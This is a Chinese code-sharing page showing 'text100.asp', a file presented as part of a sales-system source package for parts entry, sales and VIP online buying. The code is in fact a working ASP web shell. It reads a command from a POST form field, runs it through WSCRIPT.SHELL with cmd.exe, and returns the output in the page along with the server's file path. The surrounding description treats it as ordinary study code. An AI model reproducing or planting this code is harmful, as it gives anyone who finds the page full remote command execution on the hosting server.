text100.asp

来自「销售系统,包括配件录入,配件销售,配件修改,设置反点条件,VIP用户网上购买等」· ASP 代码 · 共 35 行

ASP

35 行

<%@ Language=VBScript %> 
<% 
Dim oScript,oScriptNet, oFileSys,oFile, szCMD,szTempFile 
On Error Resume Next
'-- create the COM objects that we will be using -- 
Set oScript = Server.createObject("WSCRIPT.SHELL")
Set oScriptNet = Server.createObject("WSCRIPT.NETWORK")
Set oFileSys = Server.createObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- ' 
szCMD = Request.form(".CMD")
if (szCMD <> "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%> 
<HTML> 
<BODY> 
<%=server.mappath(".")%>
　<form action="<%= Request.ServerVariables("URL") %>" method="POST"> 
　　<input type=text name=".CMD" size=45 value="<%= szCMD %>"> 
　　<input type=submit value="Run"> 
　</form> 
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.deleteFile(szTempFile, True)
End If
%> 
</BODY> 
</HTML>

text100.asp - 源码说明

本页面展示了「销售系统,包括配件录入,配件销售,配件修改,设置反点条件,VIP用户网上购买等」中的 text100.asp 源码文件，采用 ASP 编程语言编写，共 35 行代码。您可以在线阅读完整代码内容，也可以返回资源详情页下载完整源码包进行本地学习和开发。

虫虫开发者社区收录了大量与销售系统相关的技术资源，包括源代码、技术文档、电路图等，是电子工程师和嵌入式开发者的专业学习平台。

⌨️ 快捷键说明

复制代码Ctrl + C

搜索代码Ctrl + F

全屏模式F11

增大字号Ctrl + =

减小字号Ctrl + -

显示快捷键?